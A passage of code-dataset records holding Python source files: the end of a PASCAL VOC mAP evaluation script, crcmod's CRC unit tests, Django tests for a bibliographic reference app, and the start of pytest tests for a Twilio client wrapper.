p_bbox.shape[0])\n continue\n \n # VOC evaluation follows integer typed bounding boxes.\n # p_bbox = p_bbox.copy()\n # p_bbox[:, 2:] += 1\n # g_bbox = g_bbox.copy()\n # g_bbox[:, 2:] += 1\n \n iou = bbox_iou(p_bbox, g_bbox)\n ind = np.argmax(iou, axis=1) # each p_bbox's g_bbox index with highest iou\n ind[iou.max(axis=1) < cfg.eval_iou_thresh] = -1\n \n selected = np.zeros(g_bbox.shape[0])\n for i in ind:\n if i >= 0:\n if g_diff[i]: \n record[cls].append(-1)\n else:\n if not selected[i]:\n record[cls].append(1)\n else:\n record[cls].append(0)\n selected[i] = 1\n else:\n record[cls].append(0)\n \n return cumul_cal_pre_rec(total_gt, probs, record)\n\ndef cumul_cal_pre_rec(total_gt, probs, record):\n \"\"\"\n calculate precision and recall for each class cumulatively.\n Input:\n - total_gt: defaultdict(int), {class: The number of \"not difficult\" samples in each class = TP + FN}\n - probs: defaultdict(list), {class: [The prediction's probs]}\n - record: defaultdict(list), {class: [Record of TP(1) and FP(0) for each class]}\n Output:\n - precision: list, precision of each class\n - recall: list, recall of each class\n \"\"\"\n \n num_classes = max(total_gt.keys()) + 1\n precision = [None] * num_classes\n recall = [None] * num_classes \n \n for c in total_gt.keys():\n \n pc = np.array(probs[c])\n rc = np.array(record[c])\n \n order = np.argsort(pc)[::-1]\n rc = rc[order]\n \n tp = np.cumsum(rc == 1)\n fp = np.cumsum(rc == 0)\n \n precision[c] = tp / (tp + fp)\n \n if total_gt[c] > 0:\n recall[c] = tp / total_gt[c]\n \n return precision, recall\n\ndef cal_ap(precision, recall, use_07_metric=False):\n \"\"\"\n Calculate the AP and mAP according to VOC07 and VOC10 matrics.\n \"\"\"\n \n num_classes = len(precision)\n ap = np.zeros((num_classes,), dtype=np.float)\n \n for cls in range(num_classes):\n if precision[cls] is None or recall[cls] is None:\n ap[cls] = np.nan\n continue\n \n if use_07_metric:\n for t in np.arange(0, 1.1, 0.1):\n if np.sum(recall[cls] >= t) == 0:\n p = 0\n else:\n p = np.max(np.nan_to_num(precision[cls])[recall[cls] >= t])\n ap[cls] += p / 11\n else:\n # correct AP calculation\n # first append sentinel values at the end\n mrec = np.concatenate(([0.], recall[cls], [1.]))\n mpre = np.concatenate(([0.], np.nan_to_num(precision[cls]), [0.]))\n \n # compute the precision envelope\n mpre = np.maximum.accumulate(mpre[::-1])[::-1]\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * precision\n ap[cls] = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n \n return ap\n \n\ndef voc_eval(dataset, model, num_classes):\n \"\"\"\n PASCAL VOC evaluation\n \n Input:\n - dataset: PASCAL VOC dataset generator\n - model: Faster RCNN model in test mode\n - num_classes: the number of classes\n Output:\n - ap: average precision\n - mAP: mean average precision\n \"\"\"\n precision, recall = voc_eval_pre_rec(dataset, model, num_classes)\n ap = cal_ap(precision, recall, use_07_metric=False)\n mAP = np.nanmean(ap)\n # print(f'ap = {ap}, mAP = {mAP}')\n return ap, mAP\n\n\nif __name__ == '__main__':\n \n import os\n from data import pascal\n from model.faster_rcnn import FasterRCNN\n from test import init_model\n \n\n # define evaluation dataset\n num_classes = cfg.num_classes\n eval_ds = pascal.pascal_voc(is_training=False, use_diff=False)\n\n # define checkpoint path\n root_path = os.path.dirname(os.path.abspath(__file__))\n ckpt_path = os.path.join(root_path, 'model', 'ckpt')\n if not os.path.exists(ckpt_path):\n os.makedirs(ckpt_path)\n\n # build FasterRCNN\n model = FasterRCNN(is_training=False)\n # dummpy forward to build network variables\n _ = model(init_model())\n\n # load weights\n file_name = os.listdir(ckpt_path)\n if file_name:\n # continue last training\n weight_path = os.path.join(ckpt_path, file_name[0])\n model.load_weights(weight_path)\n print(\"successfully loaded {} from disk.\".format(file_name[0]))\n ap ,mAP = voc_eval(eval_ds, model, num_classes)\n print(f'ap = {ap}, mAP = {mAP}')\n \n else:\n print(\"No weights...Evaluation exit...\")","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":8669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"241890160","text":"#-----------------------------------------------------------------------------\n# Copyright (c) 2010 Raymond L. Buvel\n# Copyright (c) 2010 Craig McQueen\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#-----------------------------------------------------------------------------\n'''Unit tests for crcmod functionality'''\n\n\nimport unittest\n\nfrom array import array\nimport binascii\n\nfrom .crcmod import mkCrcFun, Crc\nfrom .crcmod import _usingExtension\nfrom .predefined import PredefinedCrc\nfrom .predefined import mkPredefinedCrcFun\nfrom .predefined import _crc_definitions as _predefined_crc_definitions\n\n\n#-----------------------------------------------------------------------------\n# This polynomial was chosen because it is the product of two irreducible\n# polynomials.\n# g8 = (x^7+x+1)*(x+1)\ng8 = 0x185\n\n#-----------------------------------------------------------------------------\n# The following reproduces all of the entries in the Numerical Recipes table.\n# This is the standard CCITT polynomial.\ng16 = 0x11021\n\n#-----------------------------------------------------------------------------\ng24 = 0x15D6DCB\n\n#-----------------------------------------------------------------------------\n# This is the standard AUTODIN-II polynomial which appears to be used in a\n# wide variety of standards and applications.\ng32 = 0x104C11DB7\n\n\n#-----------------------------------------------------------------------------\n# I was able to locate a couple of 64-bit polynomials on the web. To make it\n# easier to input the representation, define a function that builds a\n# polynomial from a list of the bits that need to be turned on.\n\ndef polyFromBits(bits):\n p = 0\n for n in bits:\n p = p | (1 << n)\n return p\n\n# The following is from the paper \"An Improved 64-bit Cyclic Redundancy Check\n# for Protein Sequences\" by David T. Jones\n\ng64a = polyFromBits([64, 63, 61, 59, 58, 56, 55, 52, 49, 48, 47, 46, 44, 41,\n 37, 36, 34, 32, 31, 28, 26, 23, 22, 19, 16, 13, 12, 10, 9, 6, 4,\n 3, 0])\n\n# The following is from Standard ECMA-182 \"Data Interchange on 12,7 mm 48-Track\n# Magnetic Tape Cartridges -DLT1 Format-\", December 1992.\n\ng64b = polyFromBits([64, 62, 57, 55, 54, 53, 52, 47, 46, 45, 40, 39, 38, 37,\n 35, 33, 32, 31, 29, 27, 24, 23, 22, 21, 19, 17, 13, 12, 10, 9, 7,\n 4, 1, 0])\n\n#-----------------------------------------------------------------------------\n# This class is used to check the CRC calculations against a direct\n# implementation using polynomial division.\n\nclass poly:\n '''Class implementing polynomials over the field of integers mod 2'''\n def __init__(self,p):\n p = int(p)\n if p < 0: raise ValueError('invalid polynomial')\n self.p = p\n\n def __int__(self):\n return self.p\n\n def __eq__(self,other):\n return self.p == other.p\n\n def __ne__(self,other):\n return self.p != other.p\n\n # To allow sorting of polynomials, use their long integer form for\n # comparison\n def __cmp__(self,other):\n return cmp(self.p, other.p)\n\n def __bool__(self):\n return self.p != 0\n\n def __neg__(self):\n return self # These polynomials are their own inverse under addition\n\n def __invert__(self):\n n = max(self.deg() + 1, 1)\n x = (1 << n) - 1\n return poly(self.p ^ x)\n\n def __add__(self,other):\n return poly(self.p ^ other.p)\n\n def __sub__(self,other):\n return poly(self.p ^ other.p)\n\n def __mul__(self,other):\n a = self.p\n b = other.p\n if a == 0 or b == 0: return poly(0)\n x = 0\n while b:\n if b&1:\n x = x ^ a\n a = a<<1\n b = b>>1\n return poly(x)\n\n def __divmod__(self,other):\n u = self.p\n m = self.deg()\n v = other.p\n n = other.deg()\n if v == 0: raise ZeroDivisionError('polynomial division by zero')\n if n == 0: return (self,poly(0))\n if m < n: return (poly(0),self)\n k = m-n\n a = 1 << m\n v = v << k\n q = 0\n while k > 0:\n if a & u:\n u = u ^ v\n q = q | 1\n q = q << 1\n a = a >> 1\n v = v >> 1\n k -= 1\n if a & u:\n u = u ^ v\n q = q | 1\n return (poly(q),poly(u))\n\n def __div__(self,other):\n return self.__divmod__(other)[0]\n\n def __mod__(self,other):\n return self.__divmod__(other)[1]\n\n def __repr__(self):\n return 'poly(0x%XL)' % self.p\n\n def __str__(self):\n p = self.p\n if p == 0: return '0'\n lst = { 0:[], 1:['1'], 2:['x'], 3:['1','x'] }[p&3]\n p = p>>2\n n = 2\n while p:\n if p&1: lst.append('x^%d' % n)\n p = p>>1\n n += 1\n lst.reverse()\n return '+'.join(lst)\n\n def deg(self):\n '''return the degree of the polynomial'''\n a = self.p\n if a == 0: return -1\n n = 0\n while a >= 0x10000:\n n += 16\n a = a >> 16\n a = int(a)\n while a > 1:\n n += 1\n a = a >> 1\n return n\n\n#-----------------------------------------------------------------------------\n# The following functions compute the CRC using direct polynomial division.\n# These functions are checked against the result of the table driven\n# algorithms.\n\ng8p = poly(g8)\nx8p = poly(1<<8)\ndef crc8p(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x8p%g8p)\n\ng16p = poly(g16)\nx16p = poly(1<<16)\ndef crc16p(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x16p%g16p)\n\ng24p = poly(g24)\nx24p = poly(1<<24)\ndef crc24p(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x24p%g24p)\n\ng32p = poly(g32)\nx32p = poly(1<<32)\ndef crc32p(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x32p%g32p)\n\ng64ap = poly(g64a)\nx64p = poly(1<<64)\ndef crc64ap(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x64p%g64ap)\n\ng64bp = poly(g64b)\ndef crc64bp(d):\n p = 0\n for i in d:\n p = p*256 + i\n p = poly(p)\n return int(p*x64p%g64bp)\n\n\nclass KnownAnswerTests(unittest.TestCase):\n test_messages = [\n b'T',\n b'CatMouse987654321',\n ]\n\n known_answers = [\n [ (g8,0,0), (0xFE, 0x9D) ],\n [ (g8,-1,1), (0x4F, 0x9B) ],\n [ (g8,0,1), (0xFE, 0x62) ],\n [ (g16,0,0), (0x1A71, 0xE556) ],\n [ (g16,-1,1), (0x1B26, 0xF56E) ],\n [ (g16,0,1), (0x14A1, 0xC28D) ],\n [ (g24,0,0), (0xBCC49D, 0xC4B507) ],\n [ (g24,-1,1), (0x59BD0E, 0x0AAA37) ],\n [ (g24,0,1), (0xD52B0F, 0x1523AB) ],\n [ (g32,0,0), (0x6B93DDDB, 0x12DCA0F4) ],\n [ (g32,0xFFFFFFFF,1), (0x41FB859F, 0xF7B400A7) ],\n [ (g32,0,1), (0x6C0695ED, 0xC1A40EE5) ],\n [ (g32,0,1,0xFFFFFFFF), (0xBE047A60, 0x084BFF58) ],\n ]\n\n def test_known_answers(self):\n for crcfun_params, v in self.known_answers:\n crcfun = mkCrcFun(*crcfun_params)\n self.assertEqual(crcfun(b'',0), 0, \"Wrong answer for CRC parameters %s, input ''\" % (crcfun_params,))\n for i, msg in enumerate(self.test_messages):\n self.assertEqual(crcfun(msg), v[i], \"Wrong answer for CRC parameters %s, input '%s'\" % (crcfun_params,msg))\n self.assertEqual(crcfun(msg[4:], crcfun(msg[:4])), v[i], \"Wrong answer for CRC parameters %s, input '%s'\" % (crcfun_params,msg))\n self.assertEqual(crcfun(msg[-1:], crcfun(msg[:-1])), v[i], \"Wrong answer for CRC parameters %s, input '%s'\" % (crcfun_params,msg))\n\n\nclass CompareReferenceCrcTest(unittest.TestCase):\n test_messages = [\n b'',\n b'T',\n b'123456789',\n b'CatMouse987654321',\n ]\n\n test_poly_crcs = [\n [ (g8,0,0), crc8p ],\n [ (g16,0,0), crc16p ],\n [ (g24,0,0), crc24p ],\n [ (g32,0,0), crc32p ],\n [ (g64a,0,0), crc64ap ],\n [ (g64b,0,0), crc64bp ],\n ]\n\n @staticmethod\n def reference_crc32(d, crc=0):\n \"\"\"This function modifies the return value of binascii.crc32\n to be an unsigned 32-bit value. I.e. in the range 0 to 2**32-1.\"\"\"\n # Work around the future warning on constants.\n if crc > 0x7FFFFFFF:\n x = int(crc & 0x7FFFFFFF)\n crc = x | -2147483648\n x = binascii.crc32(d,crc)\n return int(x) & 0xFFFFFFFF\n\n def test_compare_crc32(self):\n \"\"\"The binascii module has a 32-bit CRC function that is used in a wide range\n of applications including the checksum used in the ZIP file format.\n This test compares the CRC-32 implementation of this crcmod module to\n that of binascii.crc32.\"\"\"\n # The following function should produce the same result as\n # self.reference_crc32 which is derived from binascii.crc32.\n crc32 = mkCrcFun(g32,0,1,0xFFFFFFFF)\n\n for msg in self.test_messages:\n self.assertEqual(crc32(msg), self.reference_crc32(msg))\n\n def test_compare_poly(self):\n \"\"\"Compare various CRCs of this crcmod module to a pure\n polynomial-based implementation.\"\"\"\n for crcfun_params, crc_poly_fun in self.test_poly_crcs:\n # The following function should produce the same result as\n # the associated polynomial CRC function.\n crcfun = mkCrcFun(*crcfun_params)\n\n for msg in self.test_messages:\n self.assertEqual(crcfun(msg), crc_poly_fun(msg))\n\n\nclass CrcClassTest(unittest.TestCase):\n \"\"\"Verify the Crc class\"\"\"\n\n msg = b'CatMouse987654321'\n\n def test_simple_crc32_class(self):\n \"\"\"Verify the CRC class when not using xorOut\"\"\"\n crc = Crc(g32)\n\n str_rep = \\\n'''poly = 0x104C11DB7\nreverse = True\ninitCrc = 0xFFFFFFFF\nxorOut = 0x00000000\ncrcValue = 0xFFFFFFFF'''\n self.assertEqual(str(crc), str_rep)\n self.assertEqual(crc.digest(), b'\\xff\\xff\\xff\\xff')\n self.assertEqual(crc.hexdigest(), 'FFFFFFFF')\n\n crc.update(self.msg)\n self.assertEqual(crc.crcValue, 0xF7B400A7)\n self.assertEqual(crc.digest(), b'\\xf7\\xb4\\x00\\xa7')\n self.assertEqual(crc.hexdigest(), 'F7B400A7')\n\n # Verify the .copy() method\n x = crc.copy()\n self.assertTrue(x is not crc)\n str_rep = \\\n'''poly = 0x104C11DB7\nreverse = True\ninitCrc = 0xFFFFFFFF\nxorOut = 0x00000000\ncrcValue = 0xF7B400A7'''\n self.assertEqual(str(crc), str_rep)\n self.assertEqual(str(x), str_rep)\n\n def test_full_crc32_class(self):\n \"\"\"Verify the CRC class when using xorOut\"\"\"\n\n crc = Crc(g32, initCrc=0, xorOut= ~0)\n\n str_rep = \\\n'''poly = 0x104C11DB7\nreverse = True\ninitCrc = 0x00000000\nxorOut = 0xFFFFFFFF\ncrcValue = 0x00000000'''\n self.assertEqual(str(crc), str_rep)\n self.assertEqual(crc.digest(), b'\\x00\\x00\\x00\\x00')\n self.assertEqual(crc.hexdigest(), '00000000')\n\n crc.update(self.msg)\n self.assertEqual(crc.crcValue, 0x84BFF58)\n self.assertEqual(crc.digest(), b'\\x08\\x4b\\xff\\x58')\n self.assertEqual(crc.hexdigest(), '084BFF58')\n\n # Verify the .copy() method\n x = crc.copy()\n self.assertTrue(x is not crc)\n str_rep = \\\n'''poly = 0x104C11DB7\nreverse = True\ninitCrc = 0x00000000\nxorOut = 0xFFFFFFFF\ncrcValue = 0x084BFF58'''\n self.assertEqual(str(crc), str_rep)\n self.assertEqual(str(x), str_rep)\n\n # Verify the .new() method\n y = crc.new()\n self.assertTrue(y is not crc)\n self.assertTrue(y is not x)\n str_rep = \\\n'''poly = 0x104C11DB7\nreverse = True\ninitCrc = 0x00000000\nxorOut = 0xFFFFFFFF\ncrcValue = 0x00000000'''\n self.assertEqual(str(y), str_rep)\n\n\nclass PredefinedCrcTest(unittest.TestCase):\n \"\"\"Verify the predefined CRCs\"\"\"\n\n test_messages_for_known_answers = [\n b'', # Test cases below depend on this first entry being the empty string. \n b'T',\n b'CatMouse987654321',\n ]\n\n known_answers = [\n [ 'crc-aug-ccitt', (0x1D0F, 0xD6ED, 0x5637) ],\n [ 'x-25', (0x0000, 0xE4D9, 0x0A91) ],\n [ 'crc-32', (0x00000000, 0xBE047A60, 0x084BFF58) ],\n ]\n\n def test_known_answers(self):\n for crcfun_name, v in self.known_answers:\n crcfun = mkPredefinedCrcFun(crcfun_name)\n self.assertEqual(crcfun(b'',0), 0, \"Wrong answer for CRC '%s', input ''\" % crcfun_name)\n for i, msg in enumerate(self.test_messages_for_known_answers):\n self.assertEqual(crcfun(msg), v[i], \"Wrong answer for CRC %s, input '%s'\" % (crcfun_name,msg))\n self.assertEqual(crcfun(msg[4:], crcfun(msg[:4])), v[i], \"Wrong answer for CRC %s, input '%s'\" % (crcfun_name,msg))\n self.assertEqual(crcfun(msg[-1:], crcfun(msg[:-1])), v[i], \"Wrong answer for CRC %s, input '%s'\" % (crcfun_name,msg))\n\n def test_class_with_known_answers(self):\n for crcfun_name, v in self.known_answers:\n for i, msg in enumerate(self.test_messages_for_known_answers):\n crc1 = PredefinedCrc(crcfun_name)\n crc1.update(msg)\n self.assertEqual(crc1.crcValue, v[i], \"Wrong answer for crc1 %s, input '%s'\" % (crcfun_name,msg))\n\n crc2 = crc1.new()\n # Check that crc1 maintains its same value, after .new() call.\n self.assertEqual(crc1.crcValue, v[i], \"Wrong state for crc1 %s, input '%s'\" % (crcfun_name,msg))\n # Check that the new class instance created by .new() contains the initialisation value.\n # This depends on the first string in self.test_messages_for_known_answers being\n # the empty string.\n self.assertEqual(crc2.crcValue, v[0], \"Wrong state for crc2 %s, input '%s'\" % (crcfun_name,msg))\n\n crc2.update(msg)\n # Check that crc1 maintains its same value, after crc2 has called .update()\n self.assertEqual(crc1.crcValue, v[i], \"Wrong state for crc1 %s, input '%s'\" % (crcfun_name,msg))\n # Check that crc2 contains the right value after calling .update()\n self.assertEqual(crc2.crcValue, v[i], \"Wrong state for crc2 %s, input '%s'\" % (crcfun_name,msg))\n\n def test_function_predefined_table(self):\n for table_entry in _predefined_crc_definitions:\n # Check predefined function\n crc_func = mkPredefinedCrcFun(table_entry['name'])\n calc_value = crc_func(b\"123456789\")\n self.assertEqual(calc_value, table_entry['check'], \"Wrong answer for CRC '%s'\" % table_entry['name'])\n\n def test_class_predefined_table(self):\n for table_entry in _predefined_crc_definitions:\n # Check predefined class\n crc1 = PredefinedCrc(table_entry['name'])\n crc1.update(b\"123456789\")\n self.assertEqual(crc1.crcValue, table_entry['check'], \"Wrong answer for CRC '%s'\" % table_entry['name'])\n\n\nclass InputTypesTest(unittest.TestCase):\n \"\"\"Check the various input types that CRC functions can accept.\"\"\"\n\n msg = b'CatMouse987654321'\n\n check_crc_names = [\n 'crc-aug-ccitt',\n 'x-25',\n 'crc-32',\n ]\n \n array_check_types = [\n 'B',\n 'H',\n 'I',\n 'L',\n ]\n\n def test_bytearray_input(self):\n \"\"\"Test that bytearray inputs are accepted, as an example\n of a type that implements the buffer protocol.\"\"\"\n for crc_name in self.check_crc_names:\n crcfun = mkPredefinedCrcFun(crc_name)\n for i in range(len(self.msg) + 1):\n test_msg = self.msg[:i]\n bytes_answer = crcfun(test_msg)\n bytearray_answer = crcfun(bytearray(test_msg))\n self.assertEqual(bytes_answer, bytearray_answer)\n\n def test_array_input(self):\n \"\"\"Test that array inputs are accepted, as an example\n of a type that implements the buffer protocol.\"\"\"\n for crc_name in self.check_crc_names:\n crcfun = mkPredefinedCrcFun(crc_name)\n for i in range(len(self.msg) + 1):\n test_msg = self.msg[:i]\n bytes_answer = crcfun(test_msg)\n for array_type in self.array_check_types:\n if i % array(array_type).itemsize == 0:\n test_array = array(array_type, test_msg)\n array_answer = crcfun(test_array)\n self.assertEqual(bytes_answer, array_answer)\n\n def test_unicode_input(self):\n \"\"\"Test that Unicode input raises TypeError\"\"\"\n for crc_name in self.check_crc_names:\n crcfun = mkPredefinedCrcFun(crc_name)\n with self.assertRaises(TypeError):\n crcfun(\"123456789\")\n\n\ndef runtests():\n print(\"Using extension:\", _usingExtension)\n print()\n unittest.main()\n\n\nif __name__ == '__main__':\n runtests()\n","sub_path":"third_party/gsutil/third_party/crcmod/python3/crcmod/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":18433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350186830","text":"# coding: utf-8\n\nfrom django.test.client import Client\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom main.models import Descriptor, ResourceThematic, ThematicArea\n\nfrom utils.tests import BaseTestCase\nfrom models import *\n\ndef minimal_form_data():\n '''\n Define a minimal fields for submit a biblioref form\n '''\n\n form_data = { \n 'status': '0',\n \n 'main-descriptor-content_type-object_id-TOTAL_FORMS': '0', \n 'main-descriptor-content_type-object_id-INITIAL_FORMS': '0',\n\n 'main-keyword-content_type-object_id-TOTAL_FORMS': '0', \n 'main-keyword-content_type-object_id-INITIAL_FORMS': '0',\n\n 'main-resourcethematic-content_type-object_id-TOTAL_FORMS': '0',\n 'main-resourcethematic-content_type-object_id-INITIAL_FORMS': '0',\n }\n\n return form_data\n\ndef complete_form_data():\n '''\n Define missing fields for a valid submission of biblioref object\n '''\n\n missing_fields = {\n 'main-descriptor-content_type-object_id-TOTAL_FORMS' : '1',\n\n 'main-descriptor-content_type-object_id-0-id' : '',\n 'main-descriptor-content_type-object_id-0-text' : 'malaria',\n 'main-descriptor-content_type-object_id-0-code' : '^d8462',\n 'main-descriptor-content_type-object_id-0-status' : '0',\n\n 'main-resourcethematic-content_type-object_id-TOTAL_FORMS' : '1',\n 'main-resourcethematic-content_type-object_id-0-thematic_area' : '1',\n 'main-resourcethematic-content_type-object_id-0-status' : '0',\n }\n\n complete_form_data = minimal_form_data()\n complete_form_data.update(missing_fields)\n\n return complete_form_data\n\n\ndef create_test_objects():\n '''\n Create biblioref objects for tests\n '''\n BiblioRef.objects.create(status=0, metadata='{title: \"Referência de teste 1 (BR1.1)\"}', \n created_by_id=1, cooperative_center_code='BR1.1')\n \n ct_id = ContentType.objects.get_for_model(BiblioRef)\n descriptor = Descriptor.objects.create(object_id=1, content_type=ct_id, text='descritor 1')\n thematic = ResourceThematic.objects.create(object_id=1, content_type=ct_id, thematic_area_id=1)\n\n BiblioRef.objects.create(status=0, metadata='{title:\"Referência de teste 2 (PY3.1)\"}', \n created_by_id=2, cooperative_center_code='PY3.1')\n\n\nclass BiblioRefTest(BaseTestCase):\n \"\"\"\n Tests for ref app\n \"\"\"\n\n def setUp(self):\n super(BiblioRefTest, self).setUp()\n\n # create auxiliary models used on tests \n thematic_area = ThematicArea.objects.create(acronym='LISBR1.1', name='Teste')\n\n\n def test_list(self):\n \"\"\"\n Test list view\n \"\"\"\n self.login_editor()\n create_test_objects()\n\n response = self.client.get('/biblioref/')\n self.assertContains(response, \"Referência de teste 1 (BR1.1\")\n\n # list only references from user cooperative center (BR1.1)\n self.assertNotContains(response, \"Referência de teste 2 (PY3.1)\") \n\n'''\n def test_add(self):\n \"\"\"\n Tests create media\n \"\"\"\n self.login_editor() \n\n # invalid submission with missing required fields\n form_data = minimal_form_data()\n response = self.client.post('/multimedia/new', form_data )\n \n self.assertContains(response,'Por favor verifique os campos obrigatórios')\n self.assertContains(response,'Você precisa inserir pelo menos um descritor de assunto')\n self.assertContains(response,'Você precisa selecionar pelo menos uma área temática')\n\n # complete form_data with required fields and re-submit form\n form_data = complete_form_data()\n\n # test valid submission\n # after submit a valid content the view will redirect to /multimedia and list the objects\n # follow=True will allow check if the new data is on the list\n response = self.client.post('/multimedia/new', form_data, follow=True)\n self.assertRedirects(response, '/multimedia/')\n self.assertContains(response, \"Foto 1\")\n\n # check if is set cooperative center code of user (editor = BR1.1)\n self.assertEquals(Media.objects.all()[0].cooperative_center_code, \"BR1.1\")\n \n def test_edit(self):\n \"\"\"\n Tests edit media\n \"\"\"\n self.login_editor()\n create_media_object()\n\n media_test = Media.objects.all()[0]\n url = '/multimedia/edit/{0}'.format(media_test.id)\n response = self.client.get(url)\n\n # Test if return form with fields\n self.assertContains(response, media_test.title)\n\n # Test changes values and submit\n form_data = complete_form_data()\n form_data['status'] = '1'\n\n response = self.client.post(url, form_data)\n # check for validation of descriptor and thematic area for status = Admitted\n self.assertContains(response, \"é necessário ter pelo menos um descritor\")\n\n # check for normal edition\n form_data['status'] = '0'\n response = self.client.post(url, form_data, follow=True)\n self.assertRedirects(response, '/multimedia/')\n self.assertContains(response, \"Foto 1\")\n\n\n def test_delete(self):\n \"\"\"\n Tests delete media \n \"\"\"\n self.login_editor()\n create_media_object()\n\n response = self.client.get('/multimedia/delete/1')\n self.assertContains(response, \"Você tem certeza?\")\n\n response = self.client.post('/multimedia/delete/1')\n\n self.assertTrue(Media.objects.filter(id=1).count() == 0)\n self.assertTrue(Descriptor.objects.filter(object_id=1).count() == 0)\n self.assertTrue(ResourceThematic.objects.filter(object_id=1).count() == 0)\n\n self.assertRedirects(response, '/multimedia/')\n\n'''","sub_path":"bireme/biblioref/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"504632888","text":"from unittest.mock import MagicMock\n\nimport pytest\n\nimport libs.twilio.twilio_client as twilio_client\nfrom libs.twilio.twilio_client import (TWILIO_ACTIVE_STATE,\n TWILIO_CLOSED_STATE,\n TWILIO_SUSPENDED_STATE,\n TWIMLETS_MESSAGE_ENDPOINT, TwilioClient,\n TwilioInactiveAccountError)\n\nFAKE_ACCOUNT_SID = 'fake_account_sid'\nFAKE_AUTH_TOKEN = 'fake_auth_token'\n\n# Mock the Client object from the Twilio API Library.\ntwilio_client.Client = MagicMock()\n\n@pytest.fixture(scope='module')\ndef mock_twilio_client():\n mock_twilio_client = TwilioClient(FAKE_ACCOUNT_SID, FAKE_AUTH_TOKEN)\n return mock_twilio_client\n\n@pytest.mark.parametrize('messages, expected_query_str', [\n (['a msg'], 'Message%5B0%5D=a%20msg'),\n (['msg 1', 'a msg 2'], 'Message%5B0%5D=msg%201&Message%5B1%5D=a%20msg%202'),\n ([\n 'a msg',\n 'Traceback (most recent call last):\\\\nFile \"C:\\\\folder\\\\Autotrageur\\\\bot\\\\arbitrage\\\\autotrageur.py\", '\n 'line 999, in _some_method\\\\nraise Exception(\"TEST EXCEPTION MESSAGE\")'\n ], 'Message%5B0%5D=a%20msg&Message%5B1%5D=Traceback%20%28most%20recent%20call'\n '%20last%29%3A%5CnFile%20%22C%3A%5Cfolder%5CAutotrageur%5Cbot%5Carbitrage%5C'\n 'autotrageur.py%22%2C%20line%20999%2C%20in%20_some_method%5Cnraise%20Exception'\n '%28%22TEST%20EXCEPTION%20MESSAGE%22%29'),\n (['=msg with=equals='], 'Message%5B0%5D==msg%20with=equals=') # Note: The double '==' does not cause errors with the Twilio API as of 7/27/2018\n])\ndef test_form_messages_url_query(mocker, messages, expected_query_str):\n url_safe_string = twilio_client._form_messages_url_query(messages)\n assert url_safe_string == expected_query_str\n\n\nclass TestTwilioClient:\n def test_init(self):\n test_twilio_client = TwilioClient(FAKE_ACCOUNT_SID, FAKE_AUTH_TOKEN)\n twilio_client.Client.assert_called_once_with(FAKE_ACCOUNT_SID, FAKE_AUTH_TOKEN)\n assert test_twilio_client.client is not None\n\n # From being mocked out in test module\n assert isinstance(test_twilio_client.client, MagicMock)\n\n @pytest.mark.parametrize('status', [\n TWILIO_ACTIVE_STATE,\n TWILIO_CLOSED_STATE,\n TWILIO_SUSPENDED_STATE\n ])\n def test_test_connection(self, mocker, mock_twilio_client, status):\n api_account_return = mocker.MagicMock()\n fetched_api_account = mocker.MagicMock()\n mocker.patch.object(mock_twilio_client.client, 'api')\n mocker.patch.object(mock_twilio_client.client, 'account_sid', FAKE_ACCOUNT_SID)\n mocker.patch.object(mock_twilio_client.client.api, 'accounts', return_value=api_account_return)\n mocker.patch.object(api_account_return, 'fetch', return_value=fetched_api_account)\n mocker.patch.object(fetched_api_account, 'status', status)\n\n if status is not TWILIO_ACTIVE_STATE:\n with pytest.raises(TwilioInactiveAccountError):\n mock_twilio_client.test_connection()\n else:\n mock_twilio_client.test_connection()\n\n mock_twilio_client.client.api.accounts.assert_called_once_with(FAKE_ACCOUNT_SID)\n api_account_return.fetch.assert_called_once_with()\n\n\n @pytest.mark.parametrize('to_phone_numbers', [\n [],\n ['+1234'],\n ['+1234', '+123456', '+12345678']\n ])\n def test_phone(self, mocker, mock_twilio_client, to_phone_numbers):\n FAKE_FROM_NUMBER = 'fake_from_number'\n ESCAPED_MESSAGES = 'bunchofescapedmessages'\n\n mocker.patch.object(twilio_client, '_form_messages_url_query', return_value=ESCAPED_MESSAGES)\n mocker.patch.object(mock_twilio_client.client, 'calls')\n mock_create_call = mocker.patch.object(mock_twilio_client.client.calls, 'create')\n\n mock_twilio_client.phone(['FAKE_MESSAGE'], to_phone_numbers, FAKE_FROM_NUMBER)\n\n expected_call_args_list = []\n for phone_number in to_phone_numbers:\n expected_call_args_list.append(mocker.call(\n url=TWIMLETS_MESSAGE_ENDPOINT + ESCAPED_MESSAGES,\n to=phone_number,\n 